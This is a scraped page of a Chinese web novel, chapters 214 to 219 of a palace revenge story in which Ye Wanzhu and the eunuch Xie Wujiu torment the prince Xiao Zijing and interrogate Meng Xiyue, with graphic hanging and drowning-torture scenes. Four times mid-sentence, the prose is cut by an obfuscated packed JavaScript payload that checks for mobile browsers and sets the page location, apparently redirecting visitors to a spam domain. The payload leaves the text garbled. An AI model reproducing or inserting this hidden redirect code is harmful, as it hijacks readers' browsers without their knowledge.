他的动作不紧不慢,萧子景却咽了咽口水,梗着脖子连一动都不敢动了。 谁知道这个变态还要干什么! “让本督看看……” 谢无咎的语气越发轻柔,近乎耳语般地又朝着萧子景靠近了几分。 “她说的没错,你确实是个睁眼瞎,连亲自发现的真相,都能轻易放弃。” 萧子景正打算拼死挣扎,听着这话不由得又愣住了。 这是什么意思? “不过呢,本督还得感谢你是个睁眼瞎,否则的话,本督怎么能找到趁虚而入的机会,让她多看我几眼呢?” 谢无咎还在说着,字字诛心,萧子景感到一阵寒气从脚心朝着自己的脑门猛冲了上来。 是真的? 他最开始的猜测就是真的! 叶晚竹就是在和谢无咎这个阉贼厮混! “不要脸的东西!”萧子景用力从牙缝里挤出一句话,“你这没根的残废,竟敢,你竟敢——” “怎么,王爷看见过?” 看着萧子景已经被气得肿胀的脑袋,又听着这话,谢无咎的笑容越发舒畅。 两人之间的距离太近,谢无咎又刻意放轻了声音,这会儿他的话,只有萧子景才能听得见。 “本督向来洁身自好,想来景平王是没有机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816596|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会偷窥的,不过嘛……王爷雄风不在,这倒是板上钉钉的事实吧?” 笑眯眯地拍了拍萧子景的脸,谢无咎一直维持的玩味表情之中,终于泄露出了一丝嫌恶。 “谁才是没用的东西?” 萧子景定定地盯着谢无咎看了片刻,而后忽然一声呛咳,又猛地喷出了一大口血! 发乌的颜色落在他衣襟上,这一口心头血也让萧子景浑身瘫软,咚地一声倒在了地上。 天旋地转,视线漂移,萧子景努力睁大双眼,视线中出现了一双鞋子。 下一刻,他被叶晚竹一脚踢得仰面朝天。 “阿,阿竹,阿竹!” 口中断断续续地仍有鲜血涌出,萧子景也不管不顾了,他昂着脑袋,用尽浑身的力气去蹭着叶晚竹的小腿和脚踝。 “阿竹,我知道错了,我真的知道错了,你原谅我,你回来,好不好?” 叶晚竹俯下身子,略带好笑地看着萧子景。 她方才虽然听得不够真切,但谢无咎大概说了什么,叶晚竹还是能猜到的。 在听了那些话之后,萧子景的想法竟然是想让她回心转意? 看来他是已经彻底疯了,再也不能生出半分想抵抗的念头。 想到这儿,叶晚竹也感到了一阵彻底的厌烦。 不再出招,那萧子景便连对手都算不上了。 “谢都督。” 后退半步,叶晚竹朝着谢无咎看了过去。 “可否借院中那棵大树一用?” 东厂前院里种着一棵四五人才能环抱的树,枝繁叶茂,树根不知道用多少贪官污吏的血浇灌过,长得格外粗壮。 谢无咎又看了萧子景一眼,眼中立刻闪过了一丝兴味。 “自然可以。”他略一颔首,又朝着屋外招呼,“去取绳子来!” 片刻后,叶晚竹亲手又在已经奄奄一息的萧子景身上绑好了麻绳,将他吊起来,往树冠的方向而去。 “萧子景。” 动手之前,叶晚竹最后也拍了拍他的脸。 “这种死法,你也应该感受一下。” 第二百一十五章 言听计从,予取予求 这话,是什么意思? 饶是萧子景的脑袋这会儿已经基本上失去了思考的能力,他还是呆呆地朝着叶晚竹看了过去。 什么叫这种死法? “走你!” 冷笑着后退几步,叶晚竹用力一扯麻绳,滚轮缓缓移动,顿时将萧子景带着朝树冠上升而去。 压力从身体各处传来,萧子景这才又恢复了几分神智,试图从眼下的情形中挣扎出去。 “放开我!放开我!”他慌慌张张地喊着。 叶晚竹闻言手上又加了一把力气,萧子景被吊上高空的速度顿时快了一大截。 失重感传来,刚刚还手舞足蹈着的人马上就浑身僵硬,连一动都不敢动了。 “嚯?景平王,站得高,看得远,是不是啊?” 谢无咎这时候也从大殿里走了出来,抬手挡在眼前,仰头朝着萧子景看了上去。 他语气轻浮,带着说不出的笑意。 萧子景顿时又不害怕了,怒从心头起,他低头朝着谢无咎的方向狂吼,“你这个不男不女的东西,不过是狗仗人势!” 看刚才昭德帝的那副模样,他还能好活几天? 等他一死,看谢无咎这个该死的阉贼怎么办! 想着,萧子景的气势便越发地足了,“不要脸的阉人,你,你不得好死!” “闭上你的狗嘴吧!” 叶晚竹手上忽然一松,麻绳快速放开,萧子景刚被吊到半空中的身子也跟着猛地向下坠落! “啊!” 下意识地惊呼出声,还没等喊完,身子又被死死勒住,重新开始上升。 被这一来一回折磨得一口气又去了一半,萧子景摊开手脚,憋屈又无可奈何地任由叶晚竹动作。 “咦?王爷这就放弃了?不骂了?” 见他沉默,叶晚竹一边疑惑着,一边又抖了抖麻绳。 萧子景被迫随着她的动作左摇右摆,张了张口,又无言以对。 不放弃,他还能怎么样? “你这个**,杀了我吧,现在就杀了我!” 被悬挂在半空中,不上不下的感觉实在是难受,萧子景最终还是又憋出了一句。 他有气无力地瞪着叶晚竹,“你这个水性杨花,红杏出墙的脏女人!破鞋!放着王妃不当,要跪舔一个阉人!自甘**!你以为这姓谢的会看得上你吗?你算个屁!” “你怎么说话呢!” “该**的逆党!” “住口!” 萧子景身在东厂,谢无咎的地盘,听见他这话,前院里的随从和侍卫们都听不下去了。 一个参与谋反的乱臣贼子,哪儿来的这么大脸面? 还摆大梁唯一异姓王的谱呢? 不知所谓! 萧子景拖家带口,在东厂外孜孜不倦地骂了那么长时间,东厂中人人知晓,如今落到他们手里,一众侍卫对他没有半分好脸色! “好了。” 谢无咎束着双手朝院中走了两步,一双眼睛却落在了叶晚竹的身上。 她刚才那是在替他出气? 想到这儿,谢无咎忽然觉得心里的阴云被破开了一道不大不小的口子。 这也让他的笑容变得有了几分大尾巴狼的味道。 “诶呀,景平王说了这么多,不就是在怨恨,为什么自己不是被选择的那个人吗?”他抱起双臂走到了与叶晚竹并肩而立的地方。 说萧子景对叶晚竹有多少感情,那就显得太用心了,他看中的从来都是叶晚竹的身家,叶家的金银珠宝和财富。 而这位这会儿会如此暴怒,吊着一条命也要吵这些毫无意义的内容,不过就是觉得叶晚竹的一切都要被另外一个人——也就是谢无咎自己拿去了。 萧子景这会儿便好像一个快饿死的人,眼睁睁地看着一块肥肉溜到了满盘珍馐之中,这种滋味怎么能不让他发狂? 他争来抢去,都不是为了叶晚竹本人,他甚至从不觉得叶晚竹是个人。 谢无咎眼中的寒意变得浓重了几分,开口的时候,语气却更加浑不正经。 “那没办法,谁让景平王长相平凡,性格无趣,既不懂威远王的心,又没有讨好她的手段,整天只会哇哇乱叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819794|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,换成谁看着你都要心烦。” 说着说着,谢无咎又不要脸地叹了口气。 “说起来,王爷选了那么多姨娘,不都是喜欢性格好,又温顺的吗?怎么换成自己,就不明白这个道理了?” “本督对威远王可是言听计从,予取予求,你看,得到如今这结果,很正常嘛!” 他摊了摊手,看着萧子景又最后笑了一下。 要不是萧子景心口剧痛,实在是没了吐血的力气,他多半还要被这番话气得再吐一回! 竟然拿他和那些只会争宠的姨娘做比较! 他可是圣上亲封的,亲封的…… 亲封的什么来着? 眼前好像忽然闪过一道白光,萧子景不由得屏住了呼吸。 那白光之后,好像有什么东西,让他感觉到非常的熟悉…… 院子中,感受着手上的分量骤然加剧,再看一眼一动不动,不知是死是活的萧子景,叶晚竹将麻绳最后又扯了一把,绕到树干上系好。 被高高地吊在树上,萧子景仍是害一动不动,任由正午的阳光照在他的后颈之上。 松开手,叶晚竹这才朝着谢无咎看了过去。 “言听计从,予取予求?”她扬了扬眉,“我怎么不知道,谢都督如此听话?” 谢无咎但笑不语,束着双手,一双眼睛先朝着院中的侍卫们看了过去,带着不少警告之意。 “什么该说,什么不该说,自己把嘴管好,好吗?” 他的问话堪称客气,院中的东厂众人却齐齐打了个寒颤,又一同应是! 景平王说的那些话里可是包含了不少内容的,是真是假,他们这些做手下的,都不应该操心! “威远王,这下您觉得如何?” 提点了一回手下,谢无咎再看向叶晚竹的时候,眼中的笑意便又显得深了几分。 叶晚竹一瞬不眨地盯着他看了片刻,这才轻笑一声。 “不错。” “不过眼下时间紧张,这些话还是日后再说吧,安王世子应该也在东厂,可否请谢都督安排我前往一见?” 第二百一十六章 你都知道什么? 和谢无咎的事情先放到一旁,叶晚竹这会儿心里装着的实在是另外一件事。 谢无咎连眼皮都没动上一下,“正是,安王世子在水牢之中,本督现在就可以带你过去。” “我要自己去。” 叶晚竹的回答也十分迅速。 “可以吗?”她又看着谢无咎略微一愣的神情,没多少诚意地补上一句礼貌的问话。 谢无咎最多只恍然了一瞬便恢复如常。 “既然都说了言听计从,那本督自然是要好好表现。” 当真站在原地一动不动,谢无咎只招了招手,让一个随从给叶晚竹引路。 “多谢都督。” 没想到他竟然当真如此听话,叶晚竹不由得歪了歪头,又朝着谢无咎露出了一个微笑。 谢无咎眼波流转,里面飞快地闪过了一丝无比复杂的情绪,又被他很好地掩藏下来。 目送着叶晚竹走向水牢的方向,直到她的身影消失不见,谢无咎却还脚下生根般地站着。 自从认识叶晚竹以来,谢无咎每每回想,都能感到她身上有些说不出的违和感。 贤良淑德了十几年,只是因为一个平妻之位,就能让一个人发生如此翻天覆地的变化? 谢无咎实在觉得此路不通。 但也无妨,无论叶晚竹身上究竟有什么秘密,她不说,他便当做一切正常。 眼下这局势定是要乱起来,这种时候,就更不是刨根问底的好时机了。 “嘿嘿,嘿嘿嘿……” 不知道从什么地方传来了一阵难听的笑声,饶是谢无咎正全神贯注于自己的思绪之中,也还是被这笑声恶心出了一身鸡皮疙瘩。 哪个不长眼的? 顺着声音转头看过去,出现在谢无咎眼前的,正是被挂在树上的萧子景! 这位还活着? 眉梢一挑,他背着双手又朝树下走了两步。 离得近了,萧子景的笑声便越发清晰,一声声地往谢无咎的耳朵里钻。 不得不说,更难听了。 努力压下嫌恶,谢无咎抬起头,朝萧子景面上打量而去。 经过一番又一番折磨,萧子景早已经是遍体鳞伤,浑身上下都找不到多少完好的皮肉了。 饶是如此,萧子景的脸上此时却挂着一副非常喜悦的表情,似乎正在因为什么好消息而心怀舒畅。 九千岁大人杀过的人比鸡还多,就算是有些犯人临死前会笑,也是苦涩的,无奈的,释怀的居多。 他这还是第一次看到有人临死前如此真心实意地在高兴的。 这位曾经的景平王更不是什么义士,他有什么可高兴的? 思绪刚起,谢无咎的神情忽然一顿。 萧子景面上还维持着灿烂无比的笑容,脑袋却微微往旁边一歪,脸上最后一点属于活人的气息,在这一刻消失殆尽。 —— 叶晚竹还不知道萧子景连一炷香的时间都没坚持到就断了气,她正停留在暗沉沉的地下监牢之中,看着那个随从将水牢的大门缓缓打开。 这座地牢安静无比,唯有阵阵水波声不断地回响在石壁之间。 “你在外面等我。” 对那随从点了点头,又看着他重新关上牢门,叶晚竹才将注意力集中到了水池中央的孟希越身上。 不过短短几个时辰的功夫,和方才在乾清宫中相比,此刻的孟希越俨然像是已经换了个人一般。 他被几根手腕粗的锁链锁住四肢,在水中微微晃动着,脑袋低垂,不复半分神气。 “世子,别装了,我知道你醒着。” 孟希越呼吸平稳,叶晚竹看了片刻后冷声开了口。 “你没有问题想问我吗?” 听着这话,孟希越的身子震了震,慢慢地抬起头来。 “景平王妃——” “是威远王。” 平淡但不容置疑地打断了孟希越的话,叶晚竹背着双手,“我是不是抢了世子的称呼?” 还在南疆的时候,那里的百姓说起威远将军孟希越,可是十分地津津乐道。 孟希越的表情因为叶晚竹的话又变了变,有些咬牙切齿了起来。 昭德帝当初亲口封了他威远将军,就算是再糊涂,这位也不应该把这件事忘得一干二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819795|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净。 更别说还把这个称号又封给叶晚竹了。 昭德帝一定是故意的! “怎么,你是来嘲笑我的?” 冷着脸向上斜晲着叶晚竹,孟希越终于开了口,语气阴沉异常。 “你很得意?” 叶晚竹往前走了两步,一双眼睛定定地落在孟希越身上。 “我是来问你都知道什么的。” 微微抬了抬下巴,叶晚竹的语气中带着笃定。 孟希越身在南疆,知道那白玉草的事情本算不上什么,可南疆使团由他一手操控,却将白玉草换成了琉璃珍珠粉,这就有些不正常了。 好端端的,孟希越为什么要换掉这样珍宝? 他是不是和自己一样,也知道什么不应该属于今生的消息? 叶晚竹的眼神中写满了探究。 “我都知道什么?你想问什么?” 孟希越并未接上叶晚竹的问话,而是歪了歪脑袋,表情十分疑惑,“我听不懂你的话。” 比起在乾清宫时,被叶晚竹的突然袭击打得手足无措,露出破绽的模样,孟希越这个时候就显得天衣无缝得多了。 他看着叶晚竹的表情甚至是茫然的。 可惜,叶晚竹还记得他那个仿佛天机泄露的眼神。 朝着墙边快走两步,叶晚竹拨开石壁上的机关,按下其中的一个按钮。 铁链哗哗作响,顷刻间就将孟希越拖进了水面之下! “唔唔唔!”他控制不住地挣扎着,将原本还算平静的水面搅合成了一片破碎。 叶晚依旧沉默不语,数着时间差不多,又反手按下另一个按钮。 铁链声再次响起,浑身湿透,灌了一肚子水的孟希越被重新拖了起来。 他脸色发紫,张嘴便呕出一大口水,两行鼻血混在其中,还没等落进水里就被稀释得看不见了。 这是东厂特有的装备,下来的一路上,那个随从给叶晚竹细细讲解了一遍使用方法。 “怎么样,世子,现在知道该说什么了吗?”叶晚竹露出一点笑容来。 “我,我不知——唔!” 第二百一十七章 世子看到了什么? “哗!” 还没等孟希越把一句话说完,叶晚竹再次按下按钮,又将他彻底投入水中。 这回叶晚竹没让孟希越在下面喝太长时间的水,用最快的速度将他拖起又抛下,本就波澜起伏的水面这下变得更加疯狂,哗哗作响着。 反复几次之后,孟希越已经是七窍流血,只知道大口大口地喘气,连眼睛都变得迷离了起来。 “怎么,世子还是不知道?” 暂时停下了手中的动作,叶晚竹抱起双臂,冷冷的问话声在水牢中也能激起一阵不大不小的回音。 孟希越此时的模样已经狼狈至极,头发滴下来的水流进了眼睛里,他用力挤了挤,眼前的景象似乎也跟着变了形。 “咚”地一声,叶晚竹再次失去了耐心,将孟希越抛往深深的水池底部! 耳边一片鼓噪,孟希越呼吸不畅,又开始拼命扭曲挣扎。 窒息感铺天盖地地压下,孟希越努力伸长脖子,仿佛回到了他在战场上被敌军一箭射中的那一天。 孟希越起初得到的军令是镇守边境,可这并不是一帆风顺的,仗着更为熟悉地形,南疆的军队不断在边界线上骚扰袭击,一度打得大梁这边的百姓们连家门都不敢出。 孟希越带人守了两个月后,一个下雨的晚上,南疆军偷袭了一座边境小城,放话要杀光城里的所有人,孟希越这才领兵前往。 大梁的将士们更擅长平原作战,孟希越想了不少办法才将战场拉到一块相对开阔的区域,却没想到这正是落入了南疆军的陷阱之中。 弓箭手一箭射来,凶狠异常,孟希越被射下马背,四周都是打成一团的两军将士,他捂着胸口,用尽力气跑进山谷,很快却气力不支晕倒了过去。 本以为这回自己是死定了,孟希越却好像又还有意识,并且做了一个很长很长的梦。 梦里,孟希越依旧主动请缨前往南疆守城,却并没有发生偷袭边境的这件事。 大梁的边关一带,城镇都修建得十分坚固,易守难攻,孟希越带兵在南郡一守就是五年。 南疆偶有骚扰,除此之外,便再也没有什么意外之事。 可等到了第五年的年关,孟希越回京述职,顺便与家人团聚的时候,他发现事情开始不对劲了。 往年热闹喜庆的宫宴一片愁云惨雾,昭德帝的脸上也是强撑笑容,眼底写满了阴郁,来参加宴会的文武百官们更是连大气都不敢出。 这是怎么了? 在京中休了几日的年假,孟希越找到了答案。 几个月前,京中闹出了一桩人命案子,昭德帝亲封的异姓王萧子景虐杀了自己的结发妻子,一时间人人为之振动。 大梁已经过了几十年的安稳日子,边境的**影响不到京城这个富贵乡,一条人命足够让京中所有人打起精神。 更别说,这还是高门大户中的王妃了。 景平王妃被打得没个人样,又吊在高处暴晒了三天三夜,尸体不忍直视,连模样都快分辨不出来了。 御史大人们自然不能置之不理,可几道**折子还没发出去,昭德帝的暴怒便骤然朝着景平王府砸了过去。 景平王被押进宫中,一番大刑伺候,昭德帝甚至没有多问几句的心思,一道圣旨便将他废为庶人,连同家人一起流放到西北去了。 昭德帝潜龙时期受过叶家的庇佑,京中人尽皆知,再加上萧子景的手段实在残暴无情,昭德帝如此雷厉风行的解决办法并未引起多少讨论,只是帝王心情不佳,所以人人都小心行事。 孟希越听了就过,时间一到就又启程往南郡去了。 谁知这一去,一切都变了。 十个月后,萧子景在西北起兵,纠集了三十万大军一路南下,轰轰烈烈地朝着京城打了过去! 他本就在西北一带领过兵,有些留存的势力,又接连打了几场胜仗,将队伍扩充到了四十万。 昭德帝调派军队迎头还击,却不知怎的屡战屡败,眼睁睁地看着萧子景带着越发强盛的兵力,一路打到了京城之外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819796|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那已经又是八个月之后的事情,到了那时,民间到处都已经在流传着大梁气数已尽,新皇势不可挡的流言了。 无论是西北还是京城,都离南疆太远,孟希越只能依靠打听到的消息来判断局势,却越听越不妙。 八月,萧子景的大军抵达京城,将其团团包围,喊话昭德帝要他立刻投降。 九月,被层层围困的京城发起反击,无不意外地又失败了,四大营的兵马几乎全军覆没。 九月底,萧子景亲自带兵攻入皇宫,一刀砍下了昭德帝的脑袋,将其悬挂在宫门之外。 十一月,孟希越作为前朝皇室宗亲,被押回京城,二十天后五马分尸。 孟希越在那个梦中浑浑噩噩地看着另一个自己跪在熟悉的金銮殿上求饶,龙椅之中,萧子景身穿明黄长袍,气势非凡,大手一挥便判了他的死亡。 从被五马分尸的剧痛中惊醒,孟希越发现自己依旧趴在南郡边境的那个山谷之中。 四处静悄悄的,战斗已经结束了,而他没有被发现。 捡回一条命,还看了些说不清道不明的东西,孟希越回到城中,一边养伤一边开始谋划起来。 他不想像梦里一样,死得如此窝囊! 孟希越也不是没想过回京和昭德帝说明此事,可随着时间推移,他的想法便也渐渐地变了味。 连萧子景这样的人都能改朝换代当皇上,他分明是皇室宗亲,为何不能? 若这一切都真的,那他岂不是无意中窥见了天机? 既然如此,何不好好利用一番? 景平王妃的死便是一切的开端和**,孟希越盘算着时间往京城派了打探的手下,只等萧子景被流放出京,便趁机动手,好渔翁得利! 可他怎么都没想到,手下从京城传来的第一个消息,就让他方寸大乱! 时间已过,景平王妃却没死! 不仅如此,她还大闹王府,把景平王收拾得连站都站不起来! “你为什么没死……” 第二百一十八章 你该死! 疑惑而又不甘心的呓语从孟希越的口中缓缓溢出。 叶晚竹为什么没死? 她没死,萧子景就不能被流放,萧子景没有被流放,那他就不会领兵起义,更不会和昭德帝两败俱伤! 为什么! 提前做了万全的准备,却都毁在了这一刻,孟希越想来想去,终是舍不得就这么放弃。 可他又不知道接下来该如何是好,只能上不上,下不下地僵持着。 若不是遇见那人…… “你说什么?” 思绪被打断,孟希越回过神来,这才发现自己不知道什么时候把话说出了口。 叶晚竹已经站在了水池的边缘,听着方才孟希越那问话,她心里的笃定更是添了几分。 她能重活一次,或许其他人也能。 只不过,这个秘密还是不要说出来为好,尤其是当着孟希越的面儿。 “世子这话实在是好笑,我怎么不能活着?” 耸了耸肩,叶晚竹也学着他的样子开始装傻。 “无缘无故,世子安排人手一路追杀我的商队,后来又索性变成追杀我本人,我倒是想问问世子,你凭什么不让我活?若是我没记错,我与世子从前可是素未谋面,你为什么要杀我?” 这些问题,就算是叶晚竹不知道前世的记忆,她也很想问问孟希越。 非杀她做什么? “因为你该死!” 孟希越这次回答得十分痛快,掷地有声,饶是叶晚竹做好了准备,也不由得愣了愣。 “你该死,你该死!” 冰冷慑人的目光落在叶晚竹身上,孟希越咬牙切齿,似乎是再也抑制不住从心里生出的恨意。 “因为你就是一个该死的贱人,懂了吗?”说到最后,孟希越的声音已经近乎咆哮。 都是因为叶晚竹不死,事情才会一点一点地变成现在这样! 被孟希越忽然发作出来的猛烈情绪震了一下,叶晚竹很快又冷静下来,露出一个同样冷冰冰的表情。 “那世子还真是莫名其妙,对着一个毫无交集的人有这么大的戾气。” 事到如今,叶晚竹倒是看出了几分端倪,只怕是自己今生做下的什么事情,挡了这位的路。 “既然世子没有什么想说的,那就在这儿靠想象让我五马分尸,魂飞魄散吧。” 冷笑着抱起双臂,叶晚竹语气十分讥讽,撂下一句话拔腿便兀自离开。 这安王世子的心理素质和口风都紧得很,看来,她得另想些办法,撬开他的嘴才行。 一边思索着一边朝地面上走去,水牢的活板门一开,一身玄色衣袍便又出现在叶晚竹眼前。 谢无咎双手拢在宽大的袍袖之中,见着下方的动静,笑眯眯地伸出一只手将叶晚竹从楼梯拉了上来。 “恭喜威远王,贺喜威远王,”他语气夸张,“景平王方才去了。” 萧子景死了? 这么快? 定了定神,叶晚竹朝着那棵大树的方向看了过去,却见上面已经没有萧子景的半点痕迹了。 “景平王在前院暂时安置,本督亲自验的尸,保证万无一失。” 谢无咎还是笑着,眉梢眼角都带着春风和煦的味道,看上去当真是非常开心。 “威远王可要去亲眼看看?”他又道。 叶晚竹定定地看着谢无咎,从他这张喜气洋洋的脸上,咂摸出了一点隐忍的意味。 “谢都督都已经亲自出手,我就不用再看了,”她轻笑一声,“找个乱葬岗丢了吧。” 虽然不知道自己前世死后是被怎么处理的,但叶晚竹想来也差不多就是如此了。 “都督可有见过阮姨娘?”她又忽然问道。 萧子景死了,叶晚竹也在乾清宫中看见了萧延的尸体,现在她前世的仇人,只剩下一个阮莹莹还不见踪影了。 谢无咎刚刚真心实意灿烂起来的笑脸又因为叶晚竹这话而无可奈何地收了收。 他认认真真地思考着,片刻后摇摇头。 “不曾。” 京城前一阵子的局势紧张得很,谢无咎手里的人都忙着在安王府办差,就算是知道萧子景一家三口藏在哪里,为了不打草惊蛇,也没人去惊动过他们。 况且,谢无咎也并未听到什么异样的消息传来。 叶晚竹闻言沉默了片刻。 她不知道萧延是怎么死的,但萧子景就这样带着他的尸体去往宫中,无论如何,阮莹莹这会儿都应该已经知道他们的计划全盘落败的消息了。 按照叶晚竹对她的了解,阮莹莹不可能还留在原地等着萧子景。 她会跑到什么地方去? 虽然京城四门依旧被紧紧封锁着,可没了景平王的这个身份,阮莹莹只消随便乔装打扮一番,就能轻而易举地在京城消失不见。 看来,想找她算账的话,只能另寻机会了。 “我知道了,”叶晚竹抬起头,“接下来,谢都督打算如何是好?” 昭德帝的情况不妙,而安王就算是伪装,也只是权宜之计,撑不了太长时间。 京城之外还有十五万南疆大军在虎视眈眈,谢无咎下一步打算怎么走? 看着叶晚竹的模样,谢无咎歪了歪头,眼珠子也跟着转了一圈。 “或许……先给威远王安排个住处?” 叶晚竹挑了挑眉。 “都督府,如何?”谢无咎也学着她的模样抬起了眉梢,“景平王府早就成了一团乱麻,据说几位姨娘们还在苦苦支撑,这会儿恐怕是不好下榻了。” 当初小花在东厂门前的那番哭诉并不是空穴来风,萧子景一心跟着孟希越作乱,将本就是个空壳子的景平王府撒手丢给了那几位姨娘便彻底不管不顾。 萧子景怎么着也能跟着孟希越混一口饭,王府的姨娘们可就倒了霉,后来为了生机,把府里能卖的,不能卖的东西全都换了银子。 再后来,吃不饱饭的姨娘们只能开始想办法种地,好歹能自给自足。 叶晚竹曾经突发奇想地以为萧子景要把王府当成菜市场,如今听着谢无咎的话,她才发现景平王府好像真的已经变成了菜市场。 “……所以说,景平王府去不得,谢都督府清净得很,是个好地方。” 第二百一十九章 热热闹闹的谢都督府 长长的一段话说到了末尾,谢无咎的语气又渐渐上挑了几分。 “如何?客房管够。” 叶晚竹又静默了片刻。 “小花她们这会儿在什么地方?”她忽然抬起头问道。 谢无咎眼底的笑意更深了。 “谢都督府。”他说。 两炷香的功夫之后,叶晚竹坐着九千岁专有的马车,在谢都督府门前停下来。 叶晚竹先前也到谢无咎的府邸来过,印象中是间清幽的宅子,可眼下走进院里,却显得热闹了不少。 谢无咎身边不喜有太多仆从,往日只有隐月随身跟着,余下的暗卫都藏在暗处,府中的小厮也只在几处关键的地方才出现。 这会儿却不同了。 “您就是圣上亲封的威远王吧?” 刚下马车,叶晚竹便看着一个管家模样的男人,脸上带着热切的笑容走了过来。 他语气急切,腿上却瞧着不太利索,一瘸一拐的。 “这位是忠义公公,安王身边的人。” 谢无咎从马车上下来,不紧不慢地给叶晚竹介绍着,又看向忠义公公,“王爷可准备好了?” 说到这个,方才还一脸笑容的忠义公公顿时变得有些讪讪的。 “王爷说……他还要再准备一下!” 谢无咎闻言也没有露出多少意外的神色。 “行,那让王爷快点想,想晚了,本督可就要替他决定了。”他眯着眼微微发笑道。 忠义公公的眼角也跟着跳了跳,答应下来的声音有些颤抖。 饶是如此,忠义公公也还是先领着叶晚竹和谢无咎往院中走去。 “王——小姐!” “娘亲!” 书画和小花的声音一前一后地传来,两人也从后院方向一路跑了过来。 见着她们两个,叶晚竹脚下的动作也加快了不少,上前将两人仔仔细细地看了一遍,见并没有什么不妥当的地方,这才长长地舒了一口气。 再往后看,曼娘带着一众蕴秀阁的伙计们也站在几步开外的地方。 “小姐瘦了,”书画的眼眶泛着红,又气鼓鼓地一跺脚,“都怪萧子景!” 要不是他,小姐怎么会被迫跑到外面去风餐露宿! 小花也挥着拳头,“娘亲,我已经给你报过仇了!” 那天趁乱之中,她狠狠地踢了景平王的屁股! 这两人还不知道萧子景的死讯,叶晚竹便也没多说,又问起了潇湘院众人的情况。 “大家都好着呢!”小花仰着脑袋,比叶晚竹离开的时候身量又长了一大截,“上次闹过事之后,谢都督就把我们都安置在都督府里了!” 京中兵荒马乱,但都督府里却还是一切安好,小花叽叽喳喳地说着话,看起来并没有吃苦受难。 “……谢都督还把咱们在潇湘院里的所有东西都带过来了,一样都没让萧家人拿走呢!” 提到景平王府和萧家,小花忍不住又撇了撇嘴。 “好了。” 这个时候,谢无咎和忠义公公说完了话,笑眯眯地走了过来。 “闲话一会儿再说吧?那边已经准备好了,咱们一道过去瞧瞧?” 前一句话是对着小花说的,后一句话,谢无咎便将目光转移到了叶晚竹的身上。 这说的应该就是安王要假扮昭德帝的事情了。 叶晚竹闻言立刻点了点头。 知道自己的人一切都好,她总算是放下心来,又和曼娘交代了两句商队的位置,让她送信过去,叶晚竹便和谢无咎一道往另外的一片院子里走。 谢都督府这会儿已经被划分成了三个区域,叶晚竹的人和都督府本身的人以外,安王别院的人也都在其中。、 “幸亏圣上当初做主,给本督赐了这样大的一座宅子,不然的话,这会儿本督就要头疼了。” 依旧笑吟吟地说着话,谢无咎没要随从跟着,自己推开了一扇院门。 一股浓郁的药味顿时冒了出来。 “主子。” 隐月站在院子当中,听见声音回过头,又朝着叶晚竹一躬身,“威远王。” 叶晚竹摆了摆手,示意他不用多礼。 虽然她直到现在还没有习惯这个称呼,但总比景平王妃那倒霉的名头来得好。 一边想着,叶晚竹的眼神一边从院中扫过,很快落在了一个略显熟悉的人身上。 “快给主子和威远王行礼!”隐月见状沉声道,“怎么,你傻了吗?” 谢无咎不咸不淡地轻笑了一声,“本来也没多聪明。” 叶晚竹这会儿把眼前的人和记忆中对上了号,这是那个叫隐竹的侍卫。 隐月现在的位置便是隐竹从前的地方,叶晚竹记得他犯了谢无咎的忌讳,私自做主办事,被谢无咎狠狠地惩罚了一番。 从那之后,叶晚竹便再也没有见着隐竹出现在谢无咎身边。 本以为以九千岁的行事风格,隐竹十有八九已经去投胎了,没想到他还活着。 就是狼狈了一点。 叶晚竹看着此人形销骨立的身材,还有深深凹陷下去的眼窝,很明显,这几个月对他来说一定过的是度日如年。 见着叶晚竹看过来,隐竹的嘴唇蠕动着,半晌才开口,“见过王妃——” 话音未落,隐月一脚蹬在他屁股上! “你!”他蹙眉怒瞪过去,“你真傻了?” 都说了是威远王威远王,怎么还喊王妃? 叶晚竹笑了笑,从隐竹方才一闪而过的眼神里看到了一抹不甘。 “谢都督,”她抱起双臂,“你这个手下还是没有学好啊。” 一次两次地挑衅她,完全不长记性。 谢无咎哼了一声,语气也不怎么愉快。 “威远王说的是啊,等这次用完了,再继续调教吧。” 